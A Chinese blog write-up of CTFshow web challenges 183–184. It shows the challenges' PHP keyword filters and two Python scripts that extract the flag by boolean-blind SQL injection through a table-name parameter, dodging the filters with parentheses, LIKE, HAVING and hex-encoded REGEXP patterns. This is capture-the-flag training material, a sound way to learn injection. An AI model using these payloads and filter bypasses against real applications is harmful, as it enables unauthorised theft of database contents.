CTFshow-web入门-web183-184

作者:xiaowu 日期: 分类:xiaowuCTF 浏览:1385

183

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }
//返回用户表的记录总数
      $user_count = 0;

select,and,or,都被屏蔽,用不了联合查询,只能尝试第三个灰框的返回值,进行布尔盲注

用python编写脚本如下

import requests
import sys

# 目标URL
url = "http://b36ac37a-e56d-485e-807f-20f0a3314733.challenge.ctf.show/select-waf.php"

# 可能的字符集
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"

# 初始flag
flag = "ctfshow{"

# 最多尝试100次
for i in range(100):
    # 遍历字符集
    for j in letter:
        # 构造POST请求数据
        data = {"tableName": "(ctfshow_user)where(pass)like'{}%'".format(flag + j)}
        # 发送POST请求,在数据库中找到像flag+j的部分,得到结果以文本形式返回,模糊查询到like{}的列,并通过count函数求列数
        r = requests.post(url=url, data=data).text
        # 如果响应中包含特定字符串,则表示字符正确
        if "$user_count = 1;" in r:
            # 更新flag
            flag += j
            # 打印当前flag
            print(flag)
            # 终止当前循环,继续下一个字符
            break
        # 如果遍历到'}',表示flag已经完整,退出程序
        if j == "}":
            sys.exit()

image.png

得到flag:ctfshow{a6e70027-7ce8-41d3-9843-ed2480e2d786}

184

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

这次还过滤了where,不过可以用having代替,而且这次没有过滤空格

过滤了单双引号,不能用like了,可以用正则表达式

regexp

REGEXP:正则表达式匹配的操作符,筛选符合特定模式的数据

ord:Unicode 编码

hex:转16进制

import requests

url = 'http://25f5a961-ad58-4905-b865-158703510fca.challenge.ctf.show/select-waf.php'
strlist = '{0123456789-abcdef}'
flagstr = ''
flag = "ctfshow{"

while True:  # 不知道 flag 长度,需要不断尝试获取下一个字符
    for i in strlist:
        j = hex(ord(i))[2:]  # 将字符转换为对应的十六进制表示
        data = {
            'tableName': "ctfshow_user group by pass having pass regexp(0x{})".format(flagstr +j)
        }

        response = requests.post(url, data=data).text  # 发送 POST 请求并获取响应
        if 'user_count = 1' in response:  # 判断响应中是否包含特定字符串
            print('--------------------正确', i)
            flagstr += j
            flag += i
            print(flag)
            break
        else:
            print('===================' + i + '错误')
    if flag[-1] == '}':
        exit()  # 如果已经获取完整的 flag,退出循环

在给定的过滤函数 waf($str) 中,正则表达式使用了十六进制表示的字符,例如 \x09\x0a 等。因此,在构造 SQL 注入 payload 时,将字符转换为十六进制表示是为了绕过这种基于字符的过滤机制。

过滤函数中使用的正则表达式会检查输入字符串 $str 中是否包含一些特定的字符序列,这些字符序列包括了一些关键字和特殊字符,如 selectunionandorflag 等,以及一些特殊的控制字符,如换行符、制表符等。通过将字符转换为十六进制表示,可以绕过直接匹配字符的简单过滤。

举例来说,如果直接发送字符 'select,很可能会被过滤函数拦截,但如果将其转换为十六进制表示,如 '\x27''\x73\x65\x6c\x65\x63\x74',则可能会成功绕过过滤。因此,将字符转换为十六进制表示是为了增加绕过过滤的可能性,提高 SQL 注入的成功率。

在 ASCII 码的范围内(即 0 到 127),Unicode 码点与 ASCII 码是相同的。这意味着对于 ASCII 范围内的字符,它们的 Unicode 码点和 ASCII 码是一样的

但转16进制,一般都是先转ascii码,再转16才准确

flagstr = ''和flagstr += j:因为flag不是16进制,所以需要一个16进制字符串向正则表达式提供16进制数,并加到上面,继续提供,真正的flag则是直接加的16进制转成的10进制字符flagstr = ''

having pass regexp(0x{}):HAVING PASS REGEXP(0x{}) 用于在 SQL 查询结果中筛选出pass字段中符合十六进制密码模式的记录。

image.png

flag:ctfshow{{5825c30c-5041-47fa-9d93-1083208038e9}

关键词:

网友评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。